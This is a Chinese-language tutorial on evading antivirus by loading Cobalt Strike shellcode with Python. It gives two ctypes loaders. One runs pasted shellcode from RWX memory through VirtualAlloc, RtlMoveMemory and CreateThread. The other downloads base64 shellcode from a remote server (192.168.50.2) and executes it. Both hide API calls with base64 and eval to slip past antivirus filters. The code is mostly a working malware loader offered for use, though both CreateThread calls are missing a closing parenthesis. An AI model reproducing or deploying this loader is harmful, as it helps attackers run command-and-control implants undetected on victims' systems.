免杀之:Python加载shellcode免杀

使用Python可以做一些加密、混淆,但使用Python编译生成的exe文件普遍比较大

1 Python 加载Shellcode免杀

生成CS的Python类型Shellcode

将生成的Payload中 " 号中的内容拷贝到下面的脚本中

本地用脚本

#!/usr/bin/python
import ctypes
buf = b"shellcode"
shellcode = buf
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存,设置VirtualAlloc返回类型为ctypes.c_uint64。64位操作系统返回的地址需要是该类型。
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode。开辟一段内存,其中ctypes.c_int(x)是指将x转为C语言中的int类型。ctypes是python中为便于调用windows的c语言接口函数而自带的库。VirtualAlloc函数的细节描述可查看VirtualAlloc。
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
# 将shellcode放入内存。RtlMoveMemory函数细节同样可查微软的文档。
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))
# 创建线程并开始从shellcode的首地址开始执行,首地址即为申请到的地址ptr。
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
# 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。
# eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))

远程用脚本:将生成的Payload中"号中的内容,经过Base64编码后拷贝到远程服务器shellcode.txt

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.50.2/shellcode.txt').read().strip()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
# 有些杀软会过滤字符:
#`ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))`。可通过base64编码该段代码进行绕过。
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
# 等待上面创建的线程运行完
# 有些杀软会过滤字符:
#`ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))`。可通过base64编码该段代码进行绕过。
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))